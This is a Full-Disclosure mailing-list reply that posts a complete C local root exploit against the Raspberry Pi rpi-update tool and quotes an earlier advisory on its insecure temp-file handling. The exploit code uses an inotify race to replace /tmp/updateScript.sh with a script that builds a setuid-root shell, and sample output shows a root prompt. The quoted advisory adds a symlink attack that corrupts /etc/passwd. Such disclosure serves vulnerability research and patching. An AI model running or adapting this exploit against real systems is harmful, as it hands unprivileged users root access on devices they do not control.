[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] rpi-update tmpfile vulnerability



<html><body><div><br>Hello everyone,<br><br>I took a closer look at this 
vulnerability here is my exploit to 
share:<br><br>&nbsp;45&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cat &gt; 
/tmp/updateScript.sh &lt;&lt; EOF &lt;-- if we own it first, wait for I_MODIFY 
and inject our malicious 
code<br>&nbsp;46&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
#!/bin/bash<br>&nbsp;47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if mv 
"${_tempFileName}" "$0"; 
then<br>&nbsp;48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 rm -- 
"\$0"<br>&nbsp;49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 exec env UPDATE_SELF=0 /bin/bash "$0" 
"${FW_REV}"<br>&nbsp;50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
else<br>&nbsp;51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 echo " !!! 
Failed!"<br>&nbsp;52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
fi<br>&nbsp;53 EOF<br>&nbsp;54 
<br>&nbsp;55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo " *** 
Relaunching after update"&nbsp; 
<br>&nbsp;56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exec /bin/bash 
/tmp/updateScript.sh &lt;-- just runs whatever is here<br>&nbsp;<br><br>This 
will poop out a root prompt for you! 
<br><br>raspi-p0wn.c<br>----------------------------------------<br><br>/*Local 
root exploit for rpi-update on raspberry Pi.<br>Vulnerability discovered by 
Technion,&nbsp; 
technion@xxxxxxxxxxx<br><br>https://github.com/Hexxeh/rpi-update/<br><br><br>larry@pih0le:~$
 ./rpix updateScript.sh<br>[*] Launching attack against 
"updateScript.sh"<br>[+] Creating evil script (/tmp/evil)<br>[+] Creating 
target file (/usr/bin/touch /tmp/updateScript.sh)<br>[+] Initialize inotify on 
/tmp/updateScript.sh<br>[+] Waiting for root to change perms on 
"updateScript.sh"<br>[+] Opening root shell (/tmp/sh)<br># &lt;-- 
Yay!<br><br><br>Larry W. 
Cashdollar<br>http://vapid.dhs.org<br>@_larry0<br><br>Greets to 
Vladz.<br>*/<br><br>#include &lt;stdlib.h&gt;<br>#include 
&lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include 
&lt;sys/stat.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include 
&lt;string.h&gt;<br>#include &lt;sys/inotify.h&gt;<br>#include 
&lt;fcntl.h&gt;<br>#include &lt;sys/syscall.h&gt;<br><br>/*Create a small c 
program to pop us a root shell*/<br>int create_nasty_shell(char *file) 
{<br>&nbsp; char *s = 
"#!/bin/bash\n"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 "echo 
'main(){setuid(0);execve(\"/bin/sh\",0,0);}'&gt;/tmp/sh.c\n"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 "cc /tmp/sh.c -o /tmp/sh; chown root:root 
/tmp/sh\n"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 "chmod 4755 /tmp/sh;\n";<br><br>&nbsp; int fd = open(file, O_CREAT|O_RDWR, 
S_IRWXU|S_IRWXG|S_IRWXO);<br>&nbsp; write(fd, s, strlen(s));<br>&nbsp; 
close(fd);<br><br>&nbsp; return 0;<br>}<br><br><br>int main(int argc, char 
**argv) {<br>&nbsp; int fd, wd;<br>&nbsp; char buf[1], *targetpath, 
*cmd,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *evilsh = "/tmp/evil", *trash = 
"/tmp/trash";<br><br>&nbsp; if (argc &lt; 2) {<br>&nbsp;&nbsp;&nbsp; 
printf("Usage: %s &lt;target file&gt; \n", argv[0]);<br>&nbsp;&nbsp;&nbsp; 
return 1;<br>&nbsp; }<br><br>&nbsp; printf("[*] Launching attack against 
\"%s\"\n", argv[1]);<br><br>&nbsp; printf("[+] Creating evil script 
(/tmp/evil)\n");<br>&nbsp; create_nasty_shell(evilsh);<br><br>&nbsp; targetpath 
= malloc(sizeof(argv[1]) + 32);<br>&nbsp; cmd = malloc(sizeof(char) * 
32);<br>&nbsp; sprintf(targetpath, "/tmp/%s", argv[1]);<br>&nbsp; 
sprintf(cmd,"/usr/bin/touch %s",targetpath);<br>&nbsp; printf("[+] Creating 
target file (%s)\n",cmd);<br>&nbsp; system(cmd);<br><br>&nbsp; printf("[+] 
Initialize inotify on %s\n",targetpath);<br>&nbsp; fd = 
inotify_init();<br>&nbsp; wd = inotify_add_watch(fd, targetpath, 
IN_MODIFY);<br><br>&nbsp; printf("[+] Waiting for root to modify :\"%s\"\n", 
argv[1]);<br>&nbsp; syscall(SYS_read, fd, buf, 1);<br>&nbsp; 
syscall(SYS_rename, targetpath,&nbsp; trash);<br>&nbsp; syscall(SYS_rename, 
evilsh, targetpath);<br><br>&nbsp; inotify_rm_watch(fd, wd);<br><br>&nbsp; 
printf("[+] Opening root shell (/tmp/sh)\n");<br>&nbsp; sleep(2);<br>&nbsp; 
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");<br><br>&nbsp; 
return 0;<br>}<br></div><div><br>On Feb 28, 2013, at 04:19 PM, Technion 
&lt;technion@xxxxxxxxxxx&gt; wrote:<br><br><div><blockquote type="cite"><div 
class="msg-quote"><div class="_stretch">Raspberry Pi Firmware Updater 
Vulnerability<br> <br> Application:<br> <a 
href="https://github.com/Hexxeh/rpi-update/"; 
data-mce-href="https://github.com/Hexxeh/rpi-update/";>https://github.com/Hexxeh/rpi-update/</a><br>
 <br> Version Tested:<br> Github source as of 10ad1e975a (10th Feb commit)<br> 
<br> Vulnerability #1:<br> A malicious user can clobber any file due to 
insecure tmp file handling. <br> <br> Example:<br> <br> Any unprivileged user 
can create the following symlink, either from <br> a shell account, or by 
malicious web content such as PHP scripts.<br> pi@raspberrypi ~ $ ln -s 
/etc/passwd /tmp/updateScript.sh<br> <br> Once in place, the symlink is 
awaiting the administrator to run an update:<br> pi@raspberrypi ~ $ sudo 
rpi-update<br> ...<br> pi@raspberrypi ~ $ cat /etc/passwd<br> #!/bin/bash<br> 
if mv "./testfile.sh.tmp" "./testfile.sh"; then<br> rm -- "$0"<br> exec env 
UPDATE_SELF=0 /bin/bash "./testfile.sh" ""<br> else<br> echo " !!! Failed!"<br> 
fi<br> <br> As of this point, the pi is quite unusable due to the corrupted 
password database.<br> Note that the attacker cannot customise the content, for 
example, to set<br> a UID0 account.<br> <br> Vulnerability #2:<br> The 
installation recommends the following command:<br> sudo wget <a 
href="http://goo.gl/1BOfJ"; 
data-mce-href="http://goo.gl/1BOfJ";>http://goo.gl/1BOfJ</a> -O 
/usr/bin/rpi-update &amp;&amp; sudo chmod +x /usr/bin/rpi-update<br> <br> 
Although the selfupdate functionality utilises SSL to ensure the integrity of 
the download, the installation process uses a URL shortening service without 
SSL to download the bash script, which the user is then encouraged to run as 
the root user.<br> <br> Fix and Vendor Response<br> A pull request detailing 
exploit #1 and including a simple patch was submitted February 6th. The patch 
has not yet been accepted.<br> <br> Workaround<br> By running rpi-update with 
the self update feature disabled, the affected code is not executed. 
Example:<br> sudo UPDATE_SELF=0 rpi-update<br> <br> If you would like to update 
the application manually, or perform an initial installation safely, use the 
following commands:<br> wget <a 
href="https://github.com/Hexxeh/rpi-update/raw/master/rpi-update"; 
data-mce-href="https://github.com/Hexxeh/rpi-update/raw/master/rpi-update";>https://github.com/Hexxeh/rpi-update/raw/master/rpi-update</a><br>
 sudo cp rpi-update /usr/bin/rpi-update &amp;&amp; sudo chmod +x 
/usr/bin/rpi-update<br> <br> Note that applying the patch in my pull request 
will not be a complete solution, as it will be reverted after the first 
automatic update.<br> <br> <a href="mailto:technion@xxxxxxxxxxx"; 
data-mce-href="mailto:technion@xxxxxxxxxxx";>technion@xxxxxxxxxxx</a><br> <br> 
<br></div></div></blockquote></div></div></body></html>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/